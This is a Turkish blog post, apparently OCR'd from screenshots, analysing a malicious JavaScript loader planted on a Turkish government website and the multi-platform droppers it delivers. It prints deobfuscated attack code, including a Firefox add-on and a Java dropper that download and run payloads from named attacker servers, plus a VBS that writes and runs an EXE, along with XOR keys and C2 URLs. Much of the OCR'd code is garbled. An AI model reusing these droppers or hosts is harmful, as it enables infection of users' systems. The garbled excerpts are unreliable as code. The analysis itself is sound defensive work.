They PWN Houses!

written by Mert SARICA | 5 December 2016

12 Kasim 2016 tarihinde, basarili bir “Pi Hediyem Var” oyuncusu olan Mustafa
Ali CAN, ziyaret ettigi bir devlet sitesinde antiviris yaziliminin alarm
vermesi lUzerine benimle iletisime gec¢ti. Yaptigimiz yazismada, kullandigi
antivirlis yaziliminin sitede tespit ettigi zararli JavaScript kodunu
JS/Kryptik.I olarak adlandirdigini belirtti. Devlet sitelerimizin gesitli APT
gruplari tarafindan hedef alindigini bilen bir siber glivenlik uzmani olarak,
bu alarma konu olan zararli JavaScript kodunu yakindan incelemeye karar
verdim.
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Siteyi ziyaret ettiginizde, sisteminizi istismar etmeye calisan zararli bir

JavaScript kodu yerine sosyal muhendislik yontemi ile zararli yazilim (1.
dropper) yukletmeye calisan bir zararli JavaScript kodu ve mesaji ile
karsilasiyorsunuz. Zararli javascript kodunun nerede oldugunu bulmak igin ise
kaynak koduna baktiginizda, 10 Nisan 2015 tarihinde siteye yazilan bir
yorumda,
http://pol.google.com.mooo.com/ajax/libs/jquery/jquery-2.1.5.ack.min.js
adresinde gizli oldugunu gorebiliyorsunuz. Tabii hakli olarak bu zararli
kodun eski tarihli bir yoruma eklenmis bir zararli kod olup olmadigini nasil
bilebiliriz diye sordugunuzda, sorunuzun yanitinin zararli yazilimin derlenme

tarihinde gizli oldugunu yazinin ilerleyen kisimlarinda gérebilirsiniz.


https://www.mertsarica.com/they-pwn-houses/
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-6/
https://en.wikipedia.org/wiki/Advanced_persistent_threat
https://apt.securelist.com/#secondPage/attack=42
http://mooo.com
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10 04. 2015 P b RpFi<script ty text/javascript
oogle.com.mooo. com/a{ax/ 1bs/Jquery/Jquery -2.1.5.ack.min.js"></script><script
gle ig ig

pol.g
type- text/Javascr1pt src="
1.5.ack.min.js"></script>FE0uisS
<hr /></div>

.com.mooo.com/ajax/1ibs

JavaScript kodunu indirip, incelemeye basladigimda, kod lzerinde gizleme
teknigi (obfuscation) uygulandigini gordim ve bunu kisa yoldan ¢ézmek igin
REMnux ile birlikte gelen js-beautify ve node-js araclarindan faydalanarak
gizlenmis kodu ve icinde yer alan web adreslerini kolaylikla c6zebildim.
jquery-2.1.5.ack.min.js (analiz esnasinda dosya adini 6nce mal.js sonra
obfuscated.js olarak adlandirdim) dosyasinin ilk satirinda zararli
yazilimlarin yiklenecegi merkez sunucu adresi olarak
http://codebase.google.com.mooo.com/ajax/libs/jquery/ yer aliyordu.
pol.google.com.mooo.com ve codebase.google.com.mooo.com adreslerinin
Tlirkiye'de bir Universitenin egitim fakiltesine ait bir sunucuya
yonlendiriliyor olmasi da bu sunucunun art niyetli kisiler tarafindan
hacklenmis olabilecegi ihtimalini gli¢clendiriyordu. Ayrica web sitelerindeki
zararli kodlari tespit edebilen Sucuri zararli yazilam tarayicisinin bu
zararli kodu web sitesi Uzerinde tespit edememesi de bu kodun art niyetli
kisiler tarafindan 6zellestirilmis olabilecegine isaret ediyordu.


https://remnux.org/
https://sitecheck.sucuri.net/
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var g]obanath = "http://codebase.google.com.mooo.com/ajax/1ibs/jquery/"; -
var theflag = 0;
var exdomain = "JUAnBA1QchkacTLEYZAUMEDEAVAXONK1oBB1Y+BEcEX1ALIBsOGFwwDFgFAFcFOVEg";

var hexcase=0;function hex_md5(a){return rstrzhex(rstr_mdS(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return
rstrzhex(rstr_hmac_mdS(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase
()=="900150983cd24fb0d6963f7d28el7f72"}function rstr_md5(a){return binl2rstr(bini_mds(rstr2binlca),a.length*8))}
function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=bin1_md5(e,c.length*8)}var a=Array(16),d=Array
(16);for(var b=0;b<16;b++){a[b]=e[b]A909522486;d[b]=e[b]A1549556828}var g=binl_md5(a.concat(rstr2binl
(f)),512+f.length*8) ;return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g)
{hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789%abcdef";var b="";var a;for(var d=0;d<c.length;d++)
{a=c.charcodeAt(d);b+=f.charAat((a>>>4)&15)+f.charAt(a&l5)}return b}function str2rstr_utf8(c){var b=""jvar d=-1;var
a,e;while(++d<c. 1ength){a-c charcodeAt(d); e=d+1l<c.length?c.charcCodeAt(d+1):0;if
(55296<—a&&a<—56319&&56320<—e&&e<-57343){a 65536+ (a&l023)<<10)+(e&1023); d++}1f(a<—12?){b+ =String. fromcharcode (a)}
else{if(a<=2047){b+=string. fromcharcode(192| ((a>>>6)&31), 128](a&63))}g1se{1f(a< =65535){b+=string. fromCharcode(224|
((a>»>12)&15),128| ((a>>>6 &63),128|(a&ss))}e]se{1f(a<=209?151){b+=5tr1ng.fromcharcode(240|((a>>>13)&?).128|((a>>>12)
&63},128\((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var
c=0;c<a.length; c++){a[c]-0}for(var c=0;c<b.length*8;c+=8){a[c>>5]|=(b. charCodeAt(c/ﬁ)&z55)<<(c%32)}return a}function
b1n12rstr(b {var a="";for (var c=0;c<b. 1ength*32 c+-8){a+—str1ng fromcharcode ((b[c>>5]>>>(c%32))&255) }return a}
function binl_md5(p, k){p[k)>5]} 128<<((k)%32) pt(((k+64)>>>9)<<4)+14] k;var 0=1732584193;var n=-271733879;var m=-
1732584194, var 1-2?1733878 for(var g=0;g<p. 1ength g+=16) {var j=o;var h—n var f=m;var e=1;o0=md5_ff(o, n m,1,plg+0]1,7,-
680876936) ; 1=md5_ff(1,0,n,m,p[g+1],12, -389564586) m=md5_ff(m,1,0,n, p[g+2] 17, 606105819) n=md5_ff(n,m,1,0, p[g+3] 22 -
1044525330) o=md5 ff(o n,m, i p[g+4] 7,-176418897); 1=md5_ff(1,0,n,m,p[g+5],12, 1200080426) m=md5, ff(m 1 o n,plg
+6],17,-1473231341); n=md5 ff(n m,1,0, p[g+?] 22, -45?05983) o=md5 ff(o n,m, i p[g+8] 7,1770035416) ; 1=md5 ff(! o,n,m,plg
+9],12, -195841441?),m-md5 ff(m,1,0,n p[g+10] 1? -42063); n-mdS _ff(n,m,1,0, p[g+ll] 22 -1990404162) o=md5 ff(o n,m, 1 P
[g+12],?,1804603682);1=md5_ff(1.o,n,m.p[g+13].12,—40341101);m=md5_ff(m,1,o,n,p[g+14],17,—1502002290);n=md5_ff
(n,m,1,0,p[g+15],22,1236535329) ;0=md5_gg(o,n,m,1,p[g+1],5,-165796510); 1=md5_gg(l,0,n,m,p[g+6],9,-
1069501632) ;m=md5_gg(m,1,0,n,p[g+11],14,643717713);n=md5_gg(n,m,1,0,p[g+0],20,-373897302) ;0=md5_gg(o,n,m,1,p[g
+5],5,-701558691); 1=md5_gg(1,0,n,m,p[g+10],9,38016083) ;m=md5_gg(m,1,0,n,p[g+15],14,-660478335) ;n=md5_gg(n,m,1,0,p[g
+4],20,-405537848) ;0=md5_gg(o,n,m,1,p[g+9],5,568446438) ; 1=md5_gg(1,0,n,m,p[g+14],9,-1019803690) ;m=md5_gg(m,1,0,n,plg
+3],14,-187363961) ;n=md5_ggCn,m, 1,0 p[a+8], 20 ,1163531501) ; o=md5 gg(o n,m,1 p[g+13] s, -1444681457) 1=md5 gg(1 o,n,m,p
[g+2] 9 ,=51403784) ;m=md5_gg(m,1 o,n,p[g+7] 14,1735328473) ;n=md5_gg(n, m 1 o p[g+12] 20 1926607734) o=md5_hh
(o,n,m, 1 ,p[g+5],4,-378558); T=mds _hh(l,0,n, m,p[?+8] T -20225?4453) m=md5_hh(m,1,0,n D[9+11] 16 1839030562) n=md5_h
(n,m,1,0,p[g+14],23,~35309556);0=md5 hh(o n,m +1],4,~1530992060);1=md5_hh(1,o,n,m,p[g
+4],11,1272893353) ;m=md5_hh(m,7,0,n,p[ +?] 16 15549?632) n=md5_hh(n,m,1,0, E[g+10],23,—1094730640):o=md5_hh

h

(o,n,m,1,p[g+13],4,681279174);1=md5_hh{1,0,n, m ,p[g+0],11 —358537222) m—mdS h{m,1,0,n,p[g+3],16,-722521979) ;n=md5_hh
(n,m,1,o,p[g+6],23,76029189);o=md5_hh(o,n m, .p[g+9] 4 64036448?) 1-md5_hh(1 o,n,m,p[g+12],11,-421815835) ; m=md5_hh
(m,1.o.n,p[g+15],16,530742520);n=md5_hh(n,m,1.0.p[g+2],23,—995338651);0=md5_1?gq.n,m,1.p[g+0],6,—198630844};1=md5_1i
(1,o0,n,m,p[g+7],10,1126891415) ;m=md5_ii(m,1,0,n,p[g+14],15,-1416354905) ;n=md5_ii(n,m,1,0,p[g+5],21,~ o
& Kali (WIFI) r'-.’ remnux |

root@remnux: /home,/remnux/Desktop# nodejs obfuscated. js > deobfuscated. js

HhomefrEmnux/DEﬁktup!ubfuscatEd js:254
var head = document head || document.getElementsByTagName( " head’)[0];

ReferenceErrar. document is not defined
at object.<anonymous= (/home/remnux/Desktop/obfuscated. j5:254:12)
at Module. cnmq11& (module. j5:456:26)
at object.Modu extensions..js (module.js:474:10)
at Modu1e Toad (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Function.Module.runMain (module.js:497:10)
at startup (node.js:119:16)
at node.js:902:3
root@remnux: /home/remnux/Desktop#




o remnux % L3

ruotlT' Jhome, T ennux/ Desktop# js-Deautity mal.js » obfuscated.]s A
ruotcrwux‘fm /remnux/Desktop# cat obfuscated. js

var q'loh?'lpath = “http://codebase. google. com. mono, com/ajax/11ibs/Jquery/";

var t©

var eldum:?n = “3UAnBA] SQkcTFRCTLEY2AUM2DEAVAXONK ] 085 17+ BECEX ] ALTBS OGFwwDF GFAF CFOVEG";

var hexcase = 0;

function hex_mds(a) {
return rsurzhex(rstromds(strarsor_ucfeal))

function hex_hmac_mdS(a, b) {
return rstr2hex(rstr_hmac_mds(str2rstr_utf8la), str2rstr_utfalh)))

[|[function mds_vm_test() {

return hex_md5("abc").toLomercase() -- "900150983cd24fb0d6962f7d2Ee17F72"

:func:iun rstr_mds(a) {
urn binl2rstr(binl_smd5(rstr2binl(a), a.length = 8))

(|function rstr_hmac_mdS(c, ) {
var e = rstr2binl(c);
if (e.len?:h > 16}

e = binl_mdSCe, c.length * 8)

var a = Array(16),
array(16);

be+)
A 909522485' ¢
[b ~ 1549556828

ar g = binl_md5{a.concat{rstr2binl{f)), 512 + f.length * 8);
;} return binl2rstribinl_md5(d. concat(g), 512 + 128))

||function rstr2hex(c) {
try {

" ¢ "0123456789abcdef”;

var a;
for (var d = 0; d < c.longth; des) {

a = ¢, charcodeat (d);

b += f.charac((a >>> 4) & 15) + f.charar(a & 15)
I return b

i
||function str2rstr_ucfe(e) {
var b =

M}He (Hd < - 1eng1:
har¢ eA\:(d)
e length 7 c.charcodeat(d + 1) :
if (55296 <= a && a <= 56319 && 56320 <= & u € <= 57343) {
a- 65536 + ((a & 1023) << 10) + (e & 1023);
e+

f (a <= 127)
b += 5tring.fromCharCode(a}

elsi
. if (a <= 2047
b 4= strlng frcmcharcude(l?! I E(a > 6) & )l]. 128 | (E & 5))] ot
o remnux % i

var bouo = [’ dbd2edbdbl6h523FE121fe0aasdce0fc”, "01d402379db1a5F5ed1567e36e205367°, ~c9e2bf09191faB81c0a7cSFFEhBEE191", "calfB418c54e4202125Fbecadbe3s078’, ~deblBedl 3dc2dfa211c6f03154e1bF86 " ];
/var tudo = eneba + bni;
[lvar np\fp = false;
var tid
var I.I.Iiﬂﬂ Lab d-ef .‘"‘uﬂn—u *:

) mRopgrstuvwayz";
for (i = 0; i<;. ?h-}i

zusonfi] = r1uh[ 5Nunb-sixti.ru\6 replace(/[NawExRuGl /g, "') + “nragez’.replace(/[nawzlsg. *')10ncit, ncit + 1) + zuson(i];
sbin = Math['f" + “\xec'\x6f" + \xéf\DT ]Esbin /263 - i : 3

f (h + 11) == i
(hfeL‘:?‘i(yur zuson[i]) bouo[1]) {

comies;

var tid = hex.mds(ludo +zuson['§" + 0" + "17 + "nTICUTIN

|[consale. Togeeia;

I¥ar a.- 07 1 & rart[*13ceink’.replace(/[3¢iK] 913" 4, gfeaohby". replace(/[Faobu)/ ++) ;

<
|} ins += String[ fRereq’ ,rep'lace(.fEn:cq]/g 6d\x43” + 'hl’ .rep?ace(./ll] \x614x72° + \x43" + 0" + "\x64' + "\x65°](rart['c3’.replace(/[3]/g, ') + "h2ZxayrkcPoTIdxyel2aKbres
llconsole. log(vFins);
/7 war head = document.head || document. getE'Iemem:ssyraguane(‘head')[o]:
/i war jauascrlmaddltion = document. :reate:lement( ser
// javascripraddi ype = ‘rext/javascript’
// Javascriptaddition. ippendchﬂd(dccumem. createTextNode(vfins));
v/ head. appendChiTd(javascriptaddition);

| Get Help wWritegut read File Prev Page Cut Text cur Pos
| Exit Justify where Is Next Page unCut Text To spell v

& Eali (WIF) | % remnux X

root@remnux : /home,/remnux,/Desktop# node]s obfuscated. ]5 > deobfuscated. Js
root@remnux: /home,/remnux,/Desktop# nano deobfuscated. js ||




inject();

else
) injectm();

script.onreadystatechange = function(){
if(!mode) {
inject():
else
injectm(};

head. appendchild{script);
| ;uncnun hook ()
1r:gngf1ag--703 {

le (9108 Q) mce"windons
f%ﬂashisinsta'l]ed()){
Ny oad (“jquery-2.1.3.F1_min_js*,0);
|f erBrowser () s=="firefox” ETBrOWsSer .... weasel
: fg ; 101 dsggip(( jquery-2. 1] qecer min.j EP 2%
else
if(getBrowser () =="msie"){
) Toadscript (" jouery-2.1. 3. ht.min. 5", 0);
1
¥
Jelse{
if (getBrowser (J==="firefox™ || getBrowser (Jm=="weasel™){
Jels lgadscrwpt( jquery-2.1. 3. fi.min. §57,0);
e
\f(.‘lavmslnstai'lEd(}){
if (getos (Jm=="Mac05"){
1oads:r|pt( ‘jquery-2.1. 3. ja.min. §5*,1);

Toadseript{"jquery-2.1.3. ja.min. js",0);

lelse{

1
) }
}

wixrx. onload = function (O

Get Help writeout Read File Prev Page Cut Text Cur Pos
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Free Website Malware and Security Scanner

SiteCheck Results wWebsite Detalls Blacklist Status

Website: tr
Status: Mo Malware Detected by External Scan. Additional Actions Becommended!

Web Trust: Mot Currently Blacklisted (10 Blacklists Checked)
Scan Result Severity Recomme
a Mahvare Mot Detected Low Risk

@) website Blacklisting Mot Detected  Low Risk

&9 Injected SPAM Mot Detected  Low Risk

& Defacements Mot Detected  Low Risk

4l Website Firewall Mot Found Medium Risk Tiaad With Sucuri Fireweall
-

Secure Your Website [ .';T“"_ TECTION TO MY SITE

[0 Take Pros

aur)
T 0 N0t ok e thar your webshe B compromised. If you seill sespeet :Mll:mlﬂl:&mhmd_plu-umnuuwlumn
mw‘mcun nec. W can 3o 8 full manual audi of your sine and chean any infection that our fres scanner missed

I o are comcernied About DDOS, Brute force, SOL injecnions and other Lacks, o you need 8 UM for your Site, our Webaine finewall can heip pou

aTh

S SIDE WadS JUST SLandied & e Meliles BE0 Force & Re- sn 1o chear the cache

Yardimci araclar ile c¢ozilen gizlenmis JavaScript koduna baktigimda, art

niyetli kisilerin Windows, Linux ve mac0S isletim sistemi kullanicilarini



hedef aldigi acikca goriliyordu. Eger isletim sistemi Windows ise ve sistem
uzerinde Flash yuklu ise bu durumda zararli yazilimi (1. indirici/dropper)
Adobe AIR lizerinden, Flash ylUkli degil ve internet tarayicisi Firefox ise bu
durumda Firefox eklentisi lzerinden, eger bu kosullarin hicbiri degil ancak
internet tarayicisi Internet Explorer ise bu durumda HTA dosyasi Uzerinden
JavaScript kodu ile sistem lUzerinde olusturuyorlardi. Eger isletim sistemi
Linux veya mac0S ise ve internet tarayicisi Firefox ise bu durumda zararli
yazilimi (1. indirici) JavaScript kodu ile aksi durum ise ve hedef isletim
sisteminde Java yazilimi ylUkld ise bu durumda zararli JAR dosyasi ile sistem
Uzerinde zararli yazilimi olusturuyorlardi. Indiricinin olusturulmasi
esnasinda kullanilan gizlenmis kodda anahtar olarak M4St3Rm4pp3d karakter
dizisi kullanilmisti. (Tahminimce bu karakter dizisi, zararli yazilam
gelistiricisinin imzasiydi.)
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Comnect TR codabae;goonie:con suuo. com (Coakbase: goos . con hocm. O 1:80... comected.

TP equast sens. aeaiting resporse.

200
Length: 37662 (37K) [ap) 11:auon..fjavascr1pt]
saving to: 3€° juueryzgaﬂ min. jsi

100%[ 1 37,662
2016-11-12 07:54:02 (551 MB/s) - &€ jquery-2.1.2.f1.min. jsd€™ saved [37662/37662]

Foguéreanux: Shome /v emnux,/ oesktovfpolgow v-get http://codebase. google. com, moog. com,/ajax/ ‘Hhs iquerymuery 2.1.3.fi.min. js
-2016-11-12 07:54:18--_ http://codebase goog €, COMm, MOCO, com.-'a?ax /1ibs/JouenieHousciz2,
aesolwing codebase. google. com. mooo. com (codebase. google. com. modo. com).
connecting to codebase.google. com. mooo. Com (codebase. google. Com. BO00. COM) 4]:80... connected.
MTTP Eequesl:[sem]:_I awiaiting r‘es.p;msi . 200 0K
th: 494 [applicarion/javascript
aC? l f1i.min. jsae™

100%[ ammmmssmaas>] 494

ng to: &€ jquery-2.1.

2016-11-12 O7:54:19 (47.1 MB/s) - 3€ jquery-2.1.3. Fi.min. js3€™ saved [494/494]

root@remsnux: /home, femnux.roesktup polgow wget_http://codebase. google. com. mooo. com/ajax,/ 1ibs/ jquery; juery-2.1.3.ht.min. js
--2016-11-12 07: Sﬂ 32--_ http://codebase gong'le cOm. Mooo. com/ajax/1ibs/jouery/ jquery-2.1. 3. ht.min. j5

Resolving codebase. google. com. mooo com (codebase.google. com. moDo. com)..

Connecting to codebase.google. com. moco. com (cudebase google. com. mo00. l:um) 11:80. .. connected.

HTTP request sent, awaiting response... 200 o

Length: 8092 (7.0K) [application/ ]avascnpt]

Saving to: 3£ jquery-2.1.3.ht.min, jsa€™

LI >] 8,002
2016-11-12 07:534:34 (431 MB/5) - 3€ jquery-2.1.3.ht.min, jsa€™ saved [8092/8092]

|| r oot@remnux : ‘home,/remnux,’ Dzsktw.-"no'lgow lmga't http://codebase. oog'le COm. MO0G. com,’ a]ax 'Ifhs.-"?quer).r.-"jquary-z,1,3.fi.nrin.js
=2016=11=12 07:54:42== http://codebase gmg ©. com. mooo. com/ajax/1ibs/ jouerw Haueri- min. 5

RE501u1ng codebase, googn com.mo00, com (codebase. goog]e. com, ma0o. com). .

connecting to codebase. google. com. mooo. com ((odebase google. com. moos, com)., 11180, .. connected.

H’!TB FEquest sent, a«auing résponse, .. 200 Ol
ﬂg(h 494 Lappli:alion ;avascript]
aving to: A€ jquery-2.1.3.fi.min, js. 14~

100%[ ] 494
2016-11-12 07:54:42 (53.4 MB/s) - 3€ jquery-2.1.3.Fi.min. 5.14€™ saved [494,/494]

root@rennux: /home, remnux 'ﬂesktnp'polgow wget_hitp://codebase. google. com. mooo. com/ajax,/ Tibs/ jquer_-,r.-‘jquer‘y 2.1.3.ja.min. js
-2016-11-12 07:54:55--_ http://codebase. google. com. mooo. ccm.-‘a?ax ‘Hhs fjauery/jquery-2.1.3. Ja. min. J5

aesoluing codebase. google. com. mooo. com (codebase. google. com.

connecting To codebase. google. com. mooo. com (codebase. google. :oﬂ nooo cc.m) 4]:80... connected.

MTTP request sent, awaiting response... 200 oK

Length: 16612 16&) [application/ javascr'ip\:]

Saving to: 3€" jquery-2.1.3. ja.min jsae™

100K [mummn mmmmmmmmnee>] 16,612

2016-11-12 07:54:56 (279 MB/s) - &€ jquery-2.1.3.ja.min. jsa€™ saved [16612/16612]



https://en.wikipedia.org/wiki/Dropper_(malware)
https://en.wikipedia.org/wiki/HTML_Application

n polgov -8 x
File Edit View Bookmarks Go Tools Help

+se O vO O % [{hc—mefremnux,fDesktopfpolgov l@
Places v Y 3 3 _ y
sumerose Gl O O #H @

M Desktop binaries AC_RunActiv AC RunActiv AC RunActiv AC_RunActiv  jquery.hta

= eContent.bea eContent.bea eContent.bea eContent.js

[1 Trash Can utified.js  utified.mer... utified.mer...

E%] Applications X X \ ) X i
Hrowos (4 [ @ @
jquery-2.1.3. jquery-2.1.3. jguery-2.1.3. jquery-2.1.3. jguery-2.1.3. jquery-2.1.3.

fiminbeautif fiiminjs fl.min.beautif flLmin.beautif fl.minjs ht.min.beauti
ied.mert.js ied.mert.d... ied.mertjs fied.js

E ol o o o T o IF o
jquery-2.1.3. jquery-2.1.3. jquery-2.1.3. jquery-2.1.3. jquery-2.1.3. jquery-2.1.5.

ht.min.beauti ht.min.beauti  ht.min.js ja.min.beauti ja.min.js ack.min.bea
fied.mert.d... fied.mert.js fied.js utified.mer...

jﬂﬂ,

jguery-2.1.5. jquery-2.1.5.
ack.min.bea ack.min.js
utified.mer...

"test]PG" [3 5 KlB]]PEG image Free space: 13.6 GlB [Total 235 GlB} 5
| ™ root... ]J[l |_pqlgnv]l-_[root...]‘ﬂ& [http...]ll@ [Anti.. Lﬂ-[root - 11:11 1O®




binaries

n
File Edit View Bookmarks Go Tools Help

« O ~

0O & [fhomefremnux{Desktopfpolgowbinaries

Places A =Y
/% Home Folder 1 l) (ﬁjj
P Desktop addon AdobeairUp  addon.xpi
o date
tl Trash Can o
=5 Applications » = *
[-] Floppy Disk

expressinsta expressinsta osxupdate

ILflr Il.swf

winupdate.v
bs

13 items

-
E 5

- =

AdobeAirUp AlRInstallBad AlRInstallBad
date.air ge.fir ge.swf
".@."

Secure_Conn unixupdate winupdate.e
ection.jar xe

Free space: 13.6 GiB (Total: 23.5 GiB) .

[ root... ﬂu,bimr..ﬂl-[root...ﬂ@[http...

.Saveas‘.‘

JL@ [Anti... ﬂl- [root...

dobe Air Update.sw

irUpd

& @)

[ Close @} f Export SWF XML I #2 import text @ |1 Resources ||
1 =y [
-| Save as Exe... Close all | o Export all parts 4/ Import scri 1 Hex o
Save = @ Export to » B B Import SWF i inp pt Run Debug Stop = Lk
§ Reload FLA e Export selection XML @ Import Symbok-Ciass (FB6). (CTRL+FS)
File Export | Import Start | View
V¥ | Adobe Alr Update swf L ACHONSCript Source | [Metho/GetterSett
| =2 header AdobealrUpdate_fia MainTimeling frame1
pdate_
shapes = ||
= images Ll Ty
'_]rrarr?as £ A . trait nothod A
others :; ;[mbuc funetion HeinTimeline () 5 "':"’:_n
2Enp 23 supez() s f roturas a1
<3 AdobeAirUpdate_fia 21 addFraneScripe (0, this. tranel) 2
— MainTimeling 28 1 6 body
e 7 maxstack §
27 public function limu() : void & localcownt 1
a8 { 9 indtscopedept
29 ) 10 maxscopedepth
= 11 -
12 code
i public function doL32(} : woid
32 ( 13 getlocal 8
33 war _lael_:Object | 14 pushscope
3a _locl_.source = 6A5-45FF-91CA- i 15 wetloca s
£ _locl_.operation ecute”: i L& fladgropatric
36 _locl_.args = [“cpen”,File.applicaticeDirectory. resolvaPath(”GlobalUpdr, vbs") . nativePath, "] i: ::::“"":""
37 this.emitter. send|"spTarget”, spHandle”, locl ) il
T 38 ] 19 getlocal 0
| Traits | Gonstants 3 20 getproperty d
raits |SRORCIRE: an public function doL6A() : woid 217 getlen (usme
B public var emitter. LocalConnection; aL f 22 getproperty 0
B public var listener LocalConnection; az war _locl_:0bJect = new Opject(): :i mﬁnwm::’ d
® public var networkintertace: Objec 43 _locl_.source = "apays 77-36A5-46FF-31CA-T9ESL0TIAB1EC" ;
L] punllc Vvar nemworkinro o euJ ) M Sioeheawesurlon - 3 ;: :En:u':ﬂ
pubik s J as _locl_.axgs = [“open”,File.appli (“GlobalUpdt, vbs™) . naciveFath, "] .
® public function linue) : void a5 thiz.enitter, send{"apTargec”,"spHandle”, locl ); 27 o s
@ public function daL32() : void a7 1 ;: 1“’”_“ s :::“
% public function doLB4() : void i _— . . 4 10 getlocal o
@ public function statusHandlen{param 1. StatusBvent) : void :: 1[1\11: e K L 31 getproperty 0
@ public function onApEvent{param1:0bject) : void r— =
Bt (Experimental)
N =

v Fidder Wab De




File and Folder Tasks

B) Rename this file

G Move this file

1Y Copy this file

& Fublih this file to the Web
E=mail this file

G Printthis file

ocuments and Settings\Adm|

% Dekste s fil Fe Edt Seach View Encodng Language Settings Mscro RLn Plugns Window ?
HEERLE LR De A% 2% EE %1 FEENEEIER
[ GlobalUpdtvbs 1
1: Eljk‘unction 12z0reVoy () ~
2 JEDZOIFXVZRIw = "4d5a50000300000004000000££££00000600000000000000400000000000000000000000000000000000000000000000C
= A
4 Dim pKHJzZWEU
5 Set pKHJzWEU = Createdbject("Scripting.FileSystemObje
6 Dim Avowvayu
7 Dim wBBQgijYzLYVL
Details 8 Dim rWvUZpeuCh
9 Dim FqWrseNyEVJERQ
Globalupdt.vbs 10 Set wBBQgijYzLYVL = pKHIzWEU.GetSpecialFolder (2}
WEScript Script File 11 FqWrseNyEVGEnNQ = WBBQgijYzLYVL & "\" & pKHIZWEU.GetTempName ()
Cate Modified: 09 Haziran 2015 2 PKHIZWEU.CreateFolder (FqUrseNyEVQEnQ)
Sall, 16:00 13 EWVUZpeuCA = FqUWeseNYyEVQENQ & "\" & "xwloddFuwlbi.exe”
Stze: 112 KB 14 Set AvOWvayu = pKHIzWEU.CreateTextFile (rWvUZpeuCh, trus , false)
15 ® For i m 1 to Len(jZDEOjFXUzRIW) Step 2
16 | AvOWvayu.Write Chr{CLng("cH" & Mid(jZDEOFFXUzR1w, i,2}))
117 Next
18 AvOWvayu.Close
18 Dim GVREGUIzpbkJ 3

14 start
W Java Decompiler - Secure_Connection. class

Fle Edt Mavigate Search Help
- Ak .8

Secure_Connection. jar ®
= @ META-IN Secure_Connection.class -
M MAMIFEST.MF 1 -~
[ MEDSA iy
0 MeSF ¢
= [ Secure_Connection String strl = getParameter(“domain®);
= @ Secure_Connecton string strl = "MéItIRmipp3d®;
& man{Smng(]) @ vod string ste3d = "Stmp/".concat{randemString(12));
@ randomSTNg(nt) : String S1 P local P = null;
® start() : void 52 Object 1a¢all‘)hjeft = null; o
£ 53 ) 81Ing = ;
:s:ﬁ:DO.. \-'Ulsde sting UR: lasslURL;
(Suing, ' 5 if (System.getPropertp(“os.name”).tolowerCase().index0f("mac") »>= 0) {
locslURL = mew URL{xd(strl, strl).consat("/osxupdate™));
} else {
58 localURL = new URL{xd(strl, str2}).concat{*/unixupdate®));
]
locslBufferedoutputdteream = new eam{new FileOutp (=tr3));
URLConnection locslURLConnection = localURL. openConnection();
localIng = lecslURLC ion. getInp 13
63 byte[] arrayOfByte = new byte[1024];
int i;
85 for {long 1 = 0L; (i = localInputStresm.read{arrayOfByte)) I= =1; 1 4= i} {
localBufferedOutputStream.weite (arrayofByte, 0, i);
i
try
if (locelInputdtream != null) |
localInput3tream.close();
)
0 if (localBufferedOutputStresm I= null) |
71 localBufferedOutputStream.close();
¥
!
cateh (IO ption localIlOExceptionl) ()
74 i 1 1Runt, = Runtime.getRustime();
BufferedReader localBufferedReader;
75 if (System.getProperty(“os.name”).tolowerCase().index0f("mac”) < 0} {
try
i -
] i




bootstrap.js - SciTE

File Edit Search View Tools Options Language Buffers Help
1 bootstrap.js

— function startup(data, reason) {
- {function(){
var mkey= "MASt3Rmdpp3d";
var mdomain = 3
G"JUANBAL9QkcfFkcTLEY2AUMZDEAVAXBONK o8B LY+BECEXLALIBSBGFwwDFgFAFCFOVEQ" ;
var ua = Components.classes[a
G"@mozilla.org/network/protocol;1?name=http"].getService(Components.interfaces.ga
nsIHttpProtocolHandler) .userAgent;
var windows = (ua.index0f("Windows")}=>-1);
var macos = (ua.index0f("Mac")=>-1);
Components.utils.import("resource://gre/modules/Downloads.jsm");
Components.utils.import({"resource://gre/modules/osfile.jsm")
Components.utils.import("resource://gre/modules/Task.jsm");
var name = "update";
- if(windows){
- Task.spawn(function* () {yield Downloads.fetch(XORCipher.decode(mkeya
G,mdomain)+"/winupdate",05.Path.join(05.Constants.Path.tmpDir,name)+".vbs");
Components.utils.import(a
G"resource: f/gre/modules/FileUtils. jsm");
var env = Components.classes[a
G"@mozilla.org/process/environment;1"].getService(Components.interfaces.nsIEnvironment);
var shell = new FileUtils.File(env.get("COMSPEC"));
var args = ["/c",05.Path.join{05.Constants.Path.4d
GtmpDir,name)+".vbs"1;
var process = Components.classes[a
G"@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init{shell});
process.run{false, args, args.length);
}).then(null, Components.utils.reportError);
}else{
var lala = 0S.Path.join(0S.Constants.Path.tmpDir,name);

ﬁ—‘ I- roo...]l[‘ | ad... ﬂ[- roo...]l[@ PO... ]l[y [An...]ﬂ-[m... m@bo...

Isletim sistemine gére http://softwareupdates.ignorelist.com/globalupdates/

adresinden indirilen ve calistairilan zararli yazilaimlardan (unixupdate
(shal:5D09C139746C8A9855CE341A63687E2E86A47FAE) , osxupdate
(shal:1A441A1E80F88CEBEOD1E20CEO6E2144743C5955), winupdate
(shal:EECOB83017F59B8D15ED630107160D71950C7888)) Windows isletim sistemi
uzerinde calisan winupdate (aslinda VBS dosyasi icinde binary olarak
indiriliyor ve calistiriliyor) dosyasini inceledigimde, bunun da bir indirici
yazilimi (2. indirici) oldugunu goérdim. VBS dosyasi i¢inde yer alan PE‘nin
hex degerlerini xxd araci ile binary'’e cevirdikten sonra winupdate.exe

dosyasini elde etmis oldum.


https://en.wikipedia.org/wiki/Portable_Executable
http://linuxcommand.org/man_pages/xxd1.html

bootstrap-mert.js - SciTE

File Edit Search View Tools Options Language Buffers Help
| 1 bootstrap-mert.js

— function xor_decrypt(key, data) {

map = function(fun , thisp)
= {
var len = this.length;
if (typeof fun != "function"}
throw new TypeError();

var res = new Array(len);
var thisp = arguments[1];
for (var i = 0; i < len; i++)
= {
if (i in this)
res[i] = fun.call(thisp, this[i], i, this);
}

return res;
}:

